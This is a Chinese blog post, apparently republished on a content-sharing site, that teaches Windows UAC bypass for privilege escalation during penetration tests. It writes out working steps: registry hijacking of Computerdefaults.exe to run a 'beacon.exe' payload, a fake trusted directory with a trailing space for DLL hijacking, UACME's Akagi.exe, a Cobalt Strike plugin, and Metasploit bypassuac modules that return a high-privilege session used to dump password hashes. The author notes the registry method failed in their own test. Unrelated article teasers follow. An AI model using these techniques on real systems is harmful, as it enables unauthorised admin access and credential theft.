通过Bypass UAC进行权限提升

news2024/11/16 19:52:36

什么是UAC

用户账户控制(User Account control,UAC)是windows系统采用的一种控制机制,可以阻止自动安装未经授权的应用 并防止意外更改系统设置,有助于防止恶意软件损坏计算机。用户账户控制程序使应用程序和任务始终在非管理员账户的安全上下文中运行,除非管理员专门授权管理员级别的权限。开启用户账户控制后,每个需要使用管理员访问令牌的应用都必须征得用户同意。

UAC限制所有用户包括非RID500的管理员用户使用标准用户登录到他们的计算机,并在标准用户的安全性上下文中访问资源和运行应用。这里所说的非RID500的用户是指除administrator以外、位于管理员组中的其他管理员用户。

当非RID500的管理员用户登录后,系统会为其创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌。标准用户访问令牌包含与管理员访问令牌相同的用户特定信息,只是移除了windows管理特权和相关SID。标准用户访问令牌用于启动不执行管理任务的应用程序(标准用户应用程序)。当管理员需要执行高权限管理任务时,windows会自动提示用户予以批准,同意后则允许使用管理员访问令牌。

通俗理解

有时候我们拿到了一个非administrator的管理员用户权限,其实非administrator的管理员权限还是有限,运行某些程序或执行某些操作时会弹出用户账户控制,如果点击否或者不点击就会出现拒绝访问,那么也就没有成功执行操作,影响后续的内网渗透,所以要绕过uac。

  1. 如test加入了管理员组,假设我们拿到了这个用户的权限

此时,我们想运行“Regcool-x64注册表编辑工具.exe”,该工具图标右下角有管理员图案,则这个工具会弹出用户账户控制(有些没有管理器图案也会弹)。如果点击是则运行该程序,但是我们拿到的权限往往是没有图形化界面的,手动点击显然不现实。

  1. 如果是administrator下,该工具图标不会出现管理员图案,可以直接运行

  1. 如果是在普通用户下,该工具图标右下角也会有管理员图案,并且需要输入管理员密码才能运行

所以,在实战中,如果攻击者可以绕过windows uac机制,使非RID500的管理账户可以不需用户批准直接使用管理员访问令牌,从而获得全部的管理权限。注意,UAC实际上是一种权限保护机制,而Bypass UAC仅仅是绕过了这一保护机制,本质上并不能将其看作是一种真正的提权。

UAC白名单

微软在用户账户控制中为一些系统程序设置了白名单机制,所有白名单中的程序将不再询问,以静默方式自动提升到管理员权限不弹出UAC框,如slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe、rundll32.exe、explorer.exe等。攻击者可以对这些白名单程序进行dll劫持、dll注入或注册表劫持等,绕过uac并提升权限。

寻找白名单程序

在寻找白名单程序时,可以使用微软工具sigcheck和Strings。

白名单程序拥有一个共同的特性,就是Manifest数据中autoElevate属性的值为True。

  1. sigcheck可以检测程序是否具有autoElevate属性

以Computerdefaults.exe为例,该程序位于c:\windows\system32目录下

sigcheck.exe /accepteula -m c:\windows\system32\Computerdefaults.exe
  1. Strings可以找出所有具有autoElevate属性的程序

strings.exe /accepteula -s c:\windows\system32\*.exe | findstr /i "autoElevate"

下面以Computerdefaults.exe为例进行分析,并通过该程序绕过UAC进行提权。将其运行,会打开默认应用界面

从注册表里查询Shell\Open\command键值对

Monitor监控该程序发现,Computerdefaults.exe会先查询注册表HKCU\software\classes\ms-settings\shell\open\command中的数据,发现该路径不存在后会继续查询别的注册表。

通常,以“shell\open\command”命名的键值对存储的是可执行文件的路径,程序会读取其中的键值并运行可执行文件。由于Computerdefaults.exe是uac白名单中的程序,运行时默认提升了权限,因此在运行该键值中的可执行文件时默认为管理员权限。

所以我们把恶意的exe路径写入该键值对,那么就能够过uac执行我们的恶意exe。

普通用户执行以下命令:

reg add "HKCU\software\classes\ms-settings\shell\open\command" /d "c:\beacon.exe" /f
reg add "HKCU\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "c:\beacon.exe" /f 

再次执行Computerdefaults.exe时,恶意程序就会随着Computerdefaults.exe的启动默认通过UAC控制并以提升的权限运行,但是我这里无任务反应。先放弃,思路就是这样。

DLL劫持

windows系统中的很多应用程序并不是一个完整的可执行文件,被分割成一些相对独立的动态链接库(DLL)文件,其中包含程序运行所使用的代码和数据。当应用程序启动时,相应的DLL文件就会被加载到程序进程的内存空间。攻击者可以通过一些手段,欺骗合法的、受信任的应用程序加载恶意的DLL文件,从而造成DLL劫持。

当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序会以特定的顺序依次在指定路径下搜索待加载的DLL。在开启安全DLL搜索模式(win xp后默认开启)的情况下,将按以下顺序进行搜索:程序安装目录 -> 系统目录(c:\windows\System32) -> 16位系统目录(c:\windows\system) -> windows目录(c:\windows) -> 当前工作目录 -> PATH环境变量中列出的各目录。

如果将同名的恶意DLL文件放在合法DLL文件所在路径之前的搜索位置,当应用程序搜素dll时,就会以恶意dll代替合法的dll来加载。这就是经典的dll预加载劫持情景,利用前提是拥有对上述目录的写入权限,并且恶意dll需要与原始dll拥有相同的导出表函数。

攻击者可以通过dll劫持技术来执行攻击载荷,通常可能是为了实现权限的持久化。但是,如果加载dll文件的应用程序是在提升的权限下运行,那么其加载的dll文件也将在相同的权限下运行,因此dll劫持也可以实现权限提升。

基于上述原理,通过劫持uac白名单程序所加载的dll文件,攻击者就可以借助白名单程序的自动提升权限来bypass uac。注意,这些白名单程序所加载的dll文件几乎都位于系统可信任目录中,而这些目录对标准用户来说是不可写的。因此,接下来我们需学习模拟可信任目录中的内容

模拟可信任目录

在各种Bypass uac的手法中总会出现白名单的影子。前文讲到,uac白名单中的程序在用户启动时不会弹出提示窗口,可以自动提升权限来运行。并且,白名单程序都拥有一个共同的特性,即Manitest中autoElevate属性的值为True。

当启动的程序请求自动提升权限时,系统会先读取可执行文件中的Manitest信息,解析autoElevate属性字段的值。如果该字段存在并且值为True,就会认为这是一个可以自动提升权限的可执行文件。并且,系统会检查可执行文件的签名,这意味着无法通过构造autoElevate信息或冒充可执行文件名来实现自动权限提升。此外,系统会检查可执行文件是否位于系统可信任目录中,如c:\windows\system32目录。当这三个条件全部通过后,则允许程序自动提升权限,有任意一个条件不通过都会被系统拒绝。

即程序请求自动提升权限的条件:

  • 文件Manitest中autoElevate属性的值为True

  • 检查文件的签名

  • 文件是否位于系统可信任目录中

注意,系统在检查可信任目录时,相关函数会自动去掉可执行文件路径中的空格。如果可执行文件位于“C:\windows \system32”目录(在windows后有一个空格,下文统称“模拟可信任目录”)中,系统在检查时会自动去除路径中的空格,这样就通过了最后一个条件的检查。

基于此原理,攻击者根据可信任目录来创建一个包含尾随空格的模拟可信任目录,将一个白名单程序复制到模拟可信任目录中,配合DLL劫持等技术即可成功绕过UAC。

演示

以WinSAT.exe程序为例,创建c:\windows \System32模拟可信任目录,并将白名单程序winSAT.exe复制到该目录中

md "\\?\c:\windows "
md "\\?\c:\windows \System32"
copy c:\windows\system32\winSAT.exe "\\?\c:\windows \System32\winSAT.exe"

启动winSAT.exe,使用monitor检测其进程所加载的dll。发现程序尝试在当前包含空格的目录加载dll都失败了,可以编写一个恶意的dll文件并将其放入该目录进行dll劫持。注意,构造的dll需要与原来的dll具有相同的导出函数。最后运行winSAT.exe即可绕过uac提升权限。过程以后在补充。

Bypass 工具

UACME

UACME是一个专用于绕过uac的开源项目,目前已包含70多种Bypass uac的方法。

利用方式主要可以分为两大类:

  1. 各类UAC白名单程序的DLL劫持(Dll Hijack)

  1. 各类提升权限的COM接口利用(Elevated COM interface)

在UACME项目中,每种绕过uac的方法都有一个数字编号,由一个名为Akagi.exe的主程序进行统一调用,命令如下

Akagi.exe [key] [Param]
#key ,指定要使用的方法的编号
#Parm,指定绕过UAC后要运行的程序或命令,默认启动一个关闭了uac的cmd窗口

下面以23号方法为例进行演示,该方法通过劫持白名单程序pkgmgr.exe所加载的DismCore.dll来绕过uac。

运行如下,即可弹出一个关闭了uac的命令窗口

Akagi.exe 23 c:\windows\system32\cmd.exe

cs插件SharpBypassUAC

假设获取了一个加入了管理员组的用户test权限,由于不是administrator,权限还是非常有限,如添加用户和导出密码等操作都无法执行

选梼杌的插件ByPass UAC之SharpBypassUAC,这里通过绕过uac然后再次执行beacon.exe,就能弹回一个高权限的shell。对命令进行base64编码,然后填入如下,点击run

此时弹回的会话,虽然用户名还是一样,但是权限确多了很多

可以轻松抓取hash

注意,这个插件bypass uac后执行cmd命令“cmd /c 命令”,是无回显的。所以这里选择运行攻击载荷来弹回一个高权限的会话。

msf下的利用

msf中内置了几个用于绕过uac的模块

msf6 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   1   exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
   2   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   3   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   4   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   5   exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   6   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   7   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   8   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   9   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   10  exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   11  exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   12  exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)

如使用eventvwr模块

use exploit/windows/local/bypassuac_eventvwr
set lport 5555
set session 2
run

直接返回一个高权限的会话

总结

bypass uac一般用在非administrator管理员用户下进行权限提升,方法主要是通过劫持uac白名单程序所加载的dll文件进行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/186559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2.5.3 PCIe——物理电气子层——动态均衡

因为PCIE 3.0信号的速率可以达到8Gb/s,而且链路通道走线也可能会很长,这可能会导致高速信号衰减过大,为了补偿channel的衰减需要增加传输信号的高频成分,让高频和低频能量差不多,这就是equalization。因此在PCIE 3.0的…

DNS Sec

域名系统(Domain Name System,DNS)响应消息中给出域名服务器的IP地址、完全合格的域名与IP地址之间的绑定关系等,因此,DNS响应消息的真实性和完整性直接关系用户访问网络过程的安全性。为了保证DNS响应消息的真实性和完…

Python中的条件分支和循环语句

1.条件分支语句 (1) 第 1 种是判断一个条件,如果这个条件成立,就执行其包含的某条语句或某个代码块。 if 条件:某条语句或某个代码块(2)第 2 种同样是判断一个条件,跟第 1 种的区别是如果条件…

易控智驾:用最“接地气”的自动驾驶,写一本“矿区修炼手册”

CES2023刚刚在拉斯维加斯闭幕,作为行业风向标,本届展会上元宇宙、汽车技术等重要科技依然是大亮点。宝马、英特尔等厂商,依然带来了有趣的消费级产品,但也有更多的工业与制造业产品、方案,带着更多的科技智能属性脱颖而…

网络原理(TCP/IP五层协议)(一)

目录TCP/IP五层协议栈应用层传输层TCP/IP五层协议栈 应用层 在应用层最重要的事情,就是“设计并实现一个应用层协议”。 举个例子,公司在开发一个项目,点外卖的软件。 当前要开发一个功能,叫做获取用户的订单历史。(在数据库里&…

软件设计(三)

软件设计(二)https://blog.csdn.net/ke1ying/article/details/128794008?spm1001.2014.3001.5502 21、一颗二叉树的高度为h,则该二叉树 最多有2的h次方-1个节点。 22、图的遍历是指对图中所有顶点进行访问且只访问一次的过程,可…

《第一行代码》 第一章:第一行Android代码

1,Android系统架构 2,开发的四大组件 3,丰富的系统控件 Android 系统为开发者提供了丰富的系统控件,使得我们可以很轻松地编写出漂亮的界面。当然如果你品位比较高,不满足于系统自带的控件效果,也完全可以…

java 基于ssm的在线音乐分享平台 idea mysql

根据一般在线音乐平台的功能需求分析,本系统的功能模块如下: (1)在个人中心,管理员可以修改自己的用户名和登录密码。 (2)在用户管理模块中,可以查看用户的信息,和进行修…

动态规划的万能公式(三类题型)

本文主要介绍如何用Python解决动态规划的问题,在动态规划问题中,最主要的是找到问题的dp,即找到状态转移函数,当你找到了该问题的状态转移函数,你就成功了一半,下面我将介绍三类最主要的题型,对…

FreeRTOS事件实验

前面章节我们学习了如何使用信号量来实现同步,但是使用信号量来同步的 话任务只能与单个的任务进行同步。有时候某个任务可能会需要与多个任务进行 同步,此时信号量就无能为力。FreeRTOS 为此提供了一个可选的解决方法,那 就是事件标志组。本…

TypeScript基础使用

TypeScript介绍: TypeScript 是 JavaScript 的一个超集 它的第一个版本发布于 2012 年 10 月,vue3和react也完全支持typescrpt 为什么选择 TypeScript: 类型系统实际上是最好的文档,大部分的函数看看类型的定义就可以知道如何使…

高性能SQL-数据库性能优化

数据库性能优化涉及各个方面,本文就总多个角度介绍一下数据库性能优化的方法 1.表设计 聚集索引 一个表只能有一个聚集索引,数据在磁盘上的排练顺序与聚集索引一致,根据业务仔细设定聚集索引,值递增的不可修改的字段才能设置聚集索引&…

海康摄像头Linux开发

官方sdk下载 https://open.hikvision.com 点击下载就行了 Ubuntu摄像头抓拍测试 我们使用Linux64 纯净版测试 接好海康摄像头,通电,并设置号ip和用户名、密码。如果有现成的,可以去查一下就知道了 先把设备下载的文件解压并放到Ubuntu下面…

redis的渐进式rehash机制

简述 在redis的字典(dict.h)实现中,当哈希表保存的键值对太多或者太少时,会触发扩展/收缩; 触发收缩:负载因子小于 0.1触发扩展:以下任一条件符合即可 服务器目前没有在执行 BGSAVE 命令或者 …

k8s核心资源

一、NameSpace对资源进行隔离&#xff0c;比如开发环境和测试环境等。命令# 查看所有命名空间的资源 kubectl get pod -A # 查看单独某个命名空间下的资源 kubectl get pod -n <空间名称> # 查看所有命名空间 kubectl get ns # 创建命名空间 kubectl create ns <空间名…

SpringAMQP

SpringAMQP是基于RabbitMQ封装的一套模板&#xff0c;并且还利用SpringBoot对其实现了自动装配&#xff0c;使用起来非常方便。 SpringAmqp的官方地址&#xff1a;Spring AMQP SpringAMQP提供了三个功能&#xff1a; 自动声明队列、交换机及其绑定关系&#xff08;RabbitAdmin&…

Hive自定义UDF函数及使用

目录 一、UDF概述 二、编写自定义UDF 1.创建项目 2.pom.xml文件添加依赖 3.编写工具类及自定义UDF类 4.打包 5.测试 jar 6.上传至服务器、HDFS并给jar包赋权 7.添加到hive类路径并创建临时函数 8.使用测试&#xff1a; 9.临时函数、永久函数 一、UDF概述 UDF全称&…

面试项目经验相关技巧

前言 面试问项目经验主要是想了解所做项目用到的技术&#xff0c;以及自己在项目中扮演的角色。 一、秒杀系统 秒杀系统往往不是咱的项目经验&#xff0c;但是面试可能会问&#xff0c;在说自己项目经验的时候也可以往秒杀和高并发上面带。 可能遇到的问题 高并发 一般就是…

阿里云KMS创建应用接入点

1.进入KMS控制台https://kms.console.aliyun.com/cn-beijing/applicationAP/list2.应用管理->创建应用接入点应用接入点可以想象成一个入口。入口打开的时候&#xff0c;运行在你服务器中的代码&#xff08;KMS客户端&#xff09;才可以与阿里云的KMS实例通讯。2.1设置入口名…

【软件测试】离开“浪浪山“测试人迎来的春天......

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 这几年因为疫情、经…